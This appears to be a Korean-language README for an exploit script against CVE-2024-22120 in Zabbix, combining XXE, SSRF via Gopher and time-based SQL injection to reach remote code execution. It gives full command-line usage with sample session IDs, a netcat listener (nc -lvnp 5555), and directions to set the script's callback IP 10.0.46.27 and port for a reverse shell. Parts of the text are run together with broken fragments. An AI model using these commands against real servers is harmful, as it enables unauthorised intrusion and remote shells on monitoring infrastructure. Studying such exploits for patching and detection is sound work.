ispique/cve-2024-22120-rce-with-gopher이것은 CVE-2024-22120에 대한 익스플로잇으로, Gopher 페이로드를 사용한 XXE 내부의 SSRF 취약점을 포함합니다.
python exploit.py --ip <Zabbix_IP> --sid <LowPrivileged_SID> --hostid <HostID> --phpsessid <PHPSESSID> --false_time <FalseTime> --true_time <TrueTime>
IP 192.168.1.100에서 실행 중인 Zabbix 서버를 발견했으며, 다음과 같은 세부 정보를 가진 낮은 권한의 사용자에 접근할 수 있습니다:
sid): d82bf6715e1d3c1f25hostid): 10107phpsessid): a4g7f48d9j3r7h8s9g이 스크립트를 사용하여 RCE 취약점을 악용하려고 합니다.
python exploit.py --ip 192.168.1.100 --sid d82bf6715e1d3c1f25 --hostid 10107 --phpsessid a4g7f48d9j3r7h8s9g --false_time 1 --true_time 3
--ip 192.168.1.100: Zabbix 서버의 IP 주소.--sid d82bf6715e1d3c1f25: 낮은 권한 사용자의 세션 ID.--hostid 10107: 낮은 권한 사용자가 접근할 수 있는 호스트의 ID.--phpsessid a4g7f48d9j3r7h8s9g: 요청 인증에 사용되는 PHP 세션 ID.--false_time 1: SQL 인젝션 중 잘못된 추측 시 지연 시간(초) (기본값은 1초).--true_time 3: SQL 인젝션 중 올바른 추측 시 지연 시간(초) (기본값은 3초).10.0.46.27:5555)로 귀하의 머신에 연결합니다.리버스 셸을 수신하기 위해 귀하의 머신이 지정된 포트(스크립트 내 5555)에서 수신 대기 중인지 확인하십시오. 이를 위해 netcat을 사용할 수 있습니다:
nc -lvnp 5555
리버스 셸을 수신하기 위해 CreateScript 함수에서 IP 10.0.46.27과 포트 5555를 귀하의 IP와 원하는 포트로 바꾸십시오.